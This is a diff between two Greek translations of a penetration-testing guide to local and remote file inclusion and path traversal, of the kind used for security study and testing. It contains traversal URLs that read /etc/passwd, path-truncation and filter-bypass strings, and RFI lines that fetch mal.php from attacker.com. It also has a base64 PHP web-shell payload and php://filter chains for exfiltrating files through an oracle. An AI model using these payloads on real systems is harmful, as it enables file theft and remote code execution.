http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
### Εξερεύνηση καταλόγων του συστήματος αρχείων σε έναν διακομιστή
|
### Εξερεύνηση Δομών του File System σε Διακομιστή
|
||||||
|
|
||||||
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για τον εντοπισμό καταλόγων, όχι μόνο αρχείων, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους των καταλόγων και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω υπάρχει μια λεπτομερής μέθοδος για να το πετύχετε:
|
Το file system ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν directories, όχι μόνο αρχεία, εφαρμόζοντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του directory και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια λεπτομερής μέθοδος για να το επιτύχετε:
|
||||||
|
|
||||||
1. **Καθορισμός Βάθους Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου κάνοντας επιτυχή ανάκτηση του αρχείου `/etc/passwd` (ισχύει αν ο διακομιστής βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να έχει τη δομή παρακάτω, υποδεικνύοντας βάθος τριών:
|
1. **Προσδιορισμός Βάθους Καταλόγου:** Καθορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (εφαρμόζεται αν ο διακομιστής είναι Linux-based). Ένα παράδειγμα URL μπορεί να έχει τη δομή ως εξής, υποδεικνύοντας βάθος τρία:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
2. **Έλεγχος φακέλων:** Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί αύξηση του βάθους κατά ένα:
|
2. **Ελέγξτε για φακέλους:** Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., `private`) στο URL, στη συνέχεια επιστρέψτε σε `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||||
```
|
```
|
||||||
3. **Ερμηνεύστε τα Αποτελέσματα:** Η απάντηση του διακομιστή δείχνει αν ο φάκελος υπάρχει:
|
3. **Ερμηνεύστε τα Αποτελέσματα:** Ο server's response υποδεικνύει αν ο φάκελος υπάρχει:
|
||||||
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
|
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στη συγκεκριμένη τοποθεσία.
|
||||||
- **Περιεχόμενο του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
|
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
|
||||||
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να ερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να ελεγχθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||||||
|
|
||||||
Για να εξερευνήσετε καταλόγους σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
|
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε εάν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||||
```
|
```
|
||||||
### **Path Truncation Technique**
|
### **Path Truncation Technique**
|
||||||
|
|
||||||
Path truncation είναι μια μέθοδος που χρησιμοποιείται για τη χειραγώγηση διαδρομών αρχείων σε εφαρμογές web. Συχνά χρησιμοποιείται για την πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
|
Η τεχνική Path Truncation χρησιμοποιείται για τον χειρισμό μονοπατιών αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να κατασκευαστεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
|
||||||
|
|
||||||
Στο PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
|
Στο PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
|
||||||
|
|
||||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` αντιμετωπίζονται όλα ως το ίδιο μονοπάτι.
|
||||||
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
|
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (μετατρέποντάς το σε `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
|
||||||
- Ομοίως, αν προσαρτηθεί `.php` σε μια διαδρομή αρχείου (π.χ. `shellcode.php`), η προσθήκη `/.` στο τέλος δεν θα αλλάξει το προσπελασμένο αρχείο.
|
- Ομοίως, αν το `.php` προστεθεί σε ένα μονοπάτι αρχείου (π.χ. `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο στο οποίο γίνεται πρόσβαση.
|
||||||
|
|
||||||
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε το path truncation για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
|
Τα παραδείγματα που δίνονται δείχνουν πώς να χρησιμοποιήσετε την path truncation για πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||||
@ -127,13 +127,13 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||||||
```
|
```
|
||||||
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
|
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
|
||||||
|
|
||||||
- **Using Dot Segments and Additional Characters**: Σειρές traversal (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας στην πράξη τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
|
- **Using Dot Segments and Additional Characters**: Οι traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας στην πράξη τις προστιθέμενες από τον server συμβολοσειρές.
|
||||||
- **Determining the Required Number of Traversals**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να φτάσει στον root κατάλογο και στη συνέχεια στο `/etc/passwd`, εξασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
|
- **Determining the Required Number of Traversals**: Μέσω δοκιμών και σφαλμάτων, μπορεί κανείς να βρει τον ακριβή αριθμό των `../` sequences που χρειάζονται για να φτάσει στον root κατάλογο και κατόπιν στο `/etc/passwd`, εξασφαλίζοντας ότι οποιεσδήποτε προστιθέμενες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
|
||||||
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινά η διαδρομή με έναν μη-υπάρχοντα κατάλογο (π.χ. `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
|
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του server.
|
||||||
|
|
||||||
Όταν εφαρμόζονται path truncation techniques, είναι κρίσιμο να κατανοηθεί η συμπεριφορά της ανάλυσης διαδρομών από τον διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο να γίνουν δοκιμές για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
Όταν χρησιμοποιούνται τεχνικές path truncation, είναι κρίσιμο να κατανοήσουμε τη συμπεριφορά ανάλυσης διαδρομών του server και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητες δοκιμές για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||||||
|
|
||||||
**This vulnerability was corrected in PHP 5.3.**
|
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
|
||||||
|
|
||||||
### **Filter bypass tricks**
|
### **Filter bypass tricks**
|
||||||
```
|
```
|
||||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
|||||||
```
|
```
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα PHP αρχείο από τον διακομιστή σας και να αποκτήσετε RCE:
|
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να συμπεριλάβετε ένα αρχείο PHP από τον server σας και να αποκτήσετε RCE:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
```
|
```
|
||||||
Εάν για κάποιο λόγο το **`allow_url_include`** είναι **Ενεργό**, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
|
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το πρωτόκολλο data με base64 για να αποκωδικοποιήσετε ένα b64 PHP code και egt RCE:
|
||||||
```
|
```
|
||||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειάστηκε μια συμβολοσειρά που τελειώνει σε `.txt`, έτσι η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς άχρηστα δεδομένα και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως, εκτελεστεί).
|
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε `.txt`, οπότε η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς junk και ο πραγματικός PHP code θα συμπεριληφθεί (και επομένως θα εκτελεστεί).
|
||||||
|
|
||||||
Another example **not using the `php://` protocol** would be:
|
Ένα άλλο παράδειγμα **που δεν χρησιμοποιεί το `php://` πρωτόκολλο** θα ήταν:
|
||||||
```
|
```
|
||||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||||
```
|
```
|
||||||
## Python ριζικό στοιχείο
|
## Python ριζικό στοιχείο
|
||||||
|
|
||||||
Σε python, σε έναν κώδικα σαν τον παρακάτω:
|
Στο Python, σε έναν κώδικα όπως ο παρακάτω:
|
||||||
```python
|
```python
|
||||||
# file_name is controlled by a user
|
# file_name is controlled by a user
|
||||||
os.path.join(os.getcwd(), "public", file_name)
|
os.path.join(os.getcwd(), "public", file_name)
|
||||||
```
|
```
|
||||||
Αν ο χρήστης περάσει μια **απόλυτη διαδρομή** στο **`file_name`**, η **προηγούμενη διαδρομή απλώς αφαιρείται**:
|
Εάν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, η **previous path** απλώς αφαιρείται:
|
||||||
```python
|
```python
|
||||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||||
'/etc/passwd'
|
'/etc/passwd'
|
||||||
```
|
```
|
||||||
Αυτό είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
Αυτή είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||||
|
|
||||||
> Εάν ένα στοιχείο είναι απόλυτη διαδρομή, όλα τα προηγούμενα στοιχεία απορρίπτονται και η σύνδεση συνεχίζεται από το στοιχείο της απόλυτης διαδρομής.
|
> Εάν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η σύνδεση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
|
||||||
|
|
||||||
## Java Λίστα καταλόγων
|
## Java Λίστα Καταλόγων
|
||||||
|
|
||||||
Φαίνεται πως αν έχετε ένα Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για αρχείο, **επιστρέφεται μια λίστα του καταλόγου**. Αυτό δεν συμβαίνει σε άλλες γλώσσες (afaik).
|
Φαίνεται ότι αν έχεις ένα Path Traversal σε Java και **ζητήσεις έναν κατάλογο** αντί για αρχείο, θα επιστραφεί μια **λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο γνωρίζω).
|
||||||
|
|
||||||
## Top 25 παράμετροι
|
## Κορυφαίες 25 παράμετροι
|
||||||
|
|
||||||
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) vulnerabilities (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
Ακολουθεί λίστα με τις 25 κορυφαίες παραμέτρους που μπορεί να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||||
```
|
```
|
||||||
?cat={payload}
|
?cat={payload}
|
||||||
?dir={payload}
|
?dir={payload}
|
||||||
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|||||||
?mod={payload}
|
?mod={payload}
|
||||||
?conf={payload}
|
?conf={payload}
|
||||||
```
|
```
|
||||||
## LFI / RFI using PHP wrappers & protocols
|
## LFI / RFI χρησιμοποιώντας PHP wrappers & protocols
|
||||||
|
|
||||||
### php://filter
|
### php://filter
|
||||||
|
|
||||||
Οι PHP φίλτρα επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:
|
Τα PHP φίλτρα επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:
|
||||||
|
|
||||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||||
- `string.rot13`
|
- `string.rot13`
|
||||||
- `string.toupper`
|
- `string.toupper`
|
||||||
- `string.tolower`
|
- `string.tolower`
|
||||||
- `string.strip_tags`: Αφαιρεί ετικέτες από τα δεδομένα (οτιδήποτε μεταξύ των χαρακτήρων "<" και ">")
|
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται μεταξύ των χαρακτήρων "<" και ">")
|
||||||
- Σημειώστε ότι αυτό το φίλτρο έχει αφαιρεθεί από τις σύγχρονες εκδόσεις του PHP
|
- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
|
||||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||||
- `convert.base64-encode`
|
- `convert.base64-encode`
|
||||||
- `convert.base64-decode`
|
- `convert.base64-decode`
|
||||||
- `convert.quoted-printable-encode`
|
- `convert.quoted-printable-encode`
|
||||||
- `convert.quoted-printable-decode`
|
- `convert.quoted-printable-decode`
|
||||||
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv.<input_enc>.<output_enc>`). Για να πάρετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται τρέξτε στην κονσόλα: `iconv -l`
|
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv.<input_enc>.<output_enc>`). Για να λάβετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται, τρέξτε στην κονσόλα: `iconv -l`
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Καταχρηστικά χρησιμοποιώντας το `convert.iconv.*` conversion filter μπορείτε να **παράγετε αυθαίρετο κείμενο**, το οποίο μπορεί να είναι χρήσιμο για την εγγραφή αυθαίρετου κειμένου ή για να αναγκάσετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
> Κακοποιώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **παράγετε αυθαίρετο κείμενο**, κάτι που μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως το include να επεξεργάζεται αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||||
|
|
||||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||||
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (useful if exfiltrating a lot of info)
|
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο εάν εξάγετε πολλά δεδομένα)
|
||||||
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
|
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
|
||||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||||
- `mcrypt.*` : Αποσυρμένο
|
- `mcrypt.*` : Αποσυρμένο
|
||||||
- `mdecrypt.*` : Αποσυρμένο
|
- `mdecrypt.*` : Αποσυρμένο
|
||||||
- Other Filters
|
- Άλλα φίλτρα
|
||||||
- Τρέχοντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **μη αναμενόμενα φίλτρα**:
|
- Τρέχοντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **απροσδόκητα φίλτρα**:
|
||||||
- `consumed`
|
- `consumed`
|
||||||
- `dechunk`: αντιστρέφει την HTTP chunked κωδικοποίηση
|
- `dechunk`: αντιστρέφει το HTTP chunked encoding
|
||||||
- `convert.*`
|
- `convert.*`
|
||||||
```php
|
```php
|
||||||
# String Filters
|
# String Filters
|
||||||
@ -275,21 +275,30 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||||||
|
|
||||||
### Using php filters as oracle to read arbitrary files
|
### Using php filters as oracle to read arbitrary files
|
||||||
|
|
||||||
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για την ανάγνωση ενός local αρχείου χωρίς να επιστραφεί το output από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration του αρχείου (char by char) χρησιμοποιώντας php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να πετάξει exception.
|
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβαστεί ένα τοπικό αρχείο χωρίς να επιστραφεί το output από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει το php να ρίξει μια εξαίρεση.
|
||||||
|
|
||||||
Στην original post θα βρείτε μία λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη:
|
Στην αρχική ανάρτηση θα βρείτε λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
|
||||||
|
|
||||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||||
- Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** που το php θα προκαλέσει ένα **σφάλμα**
|
- Χρησιμοποιήστε τον codec **`UCS-4LE`** για να διατηρήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
|
||||||
- Ο φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος char δεν είναι hex**, οπότε μπορούμε να ξέρουμε αν ο πρώτος char είναι hex.
|
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
||||||
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλους filters ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε εφαρμόζοντας αρκετές μετασχηματίσεις γίνεται να μην είναι πλέον hexadecimal χαρακτήρας. Επειδή αν είναι hex, ο dechunk δεν θα το διαγράψει και η αρχική βόμβα θα κάνει php error.
|
- Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** ώστε το php να ενεργοποιήσει ένα **σφάλμα**
|
||||||
- Ο codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a` για παράδειγμα γιατί αν εφαρμόσουμε 6 από αυτόν τον codec a->b->c->d->e->f->g το γράμμα δεν είναι πλέον hexadecimal χαρακτήρας, επομένως ο dechunk δεν το διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
|
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||||
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατό να leak άλλους chars όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
|
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hex**, οπότε μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι hex.
|
||||||
- Όταν ο αρχικός char είναι αριθμός χρειάζεται να γίνει base64 encode και να leak οι 2 πρώτοι χαρακτήρες για να leak τον αριθμό.
|
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
|
||||||
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξεις τη σειρά των chars και να φέρεις στην πρώτη θέση άλλα γράμματα του κειμένου.
|
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντευμένο γράμμα), μας επιτρέπει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετούς μετασχηματισμούς ώστε να μην είναι πλέον ένας hexadecimal χαρακτήρας. Εφόσον είναι hex, το dechunk δεν θα τον διαγράψει και η αρχική «βόμβα» θα προκαλέσει php σφάλμα.
|
||||||
- Και για να μπορέσουμε να αποκτήσουμε **further data** η ιδέα είναι να **παράγουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **pivot με τα επόμενα 2 bytes**, και να **delete τα δεδομένα μέχρι τα junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε έτσι μέχρι να φτάσετε στο επιθυμητό bit για να leak.
|
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||||
|
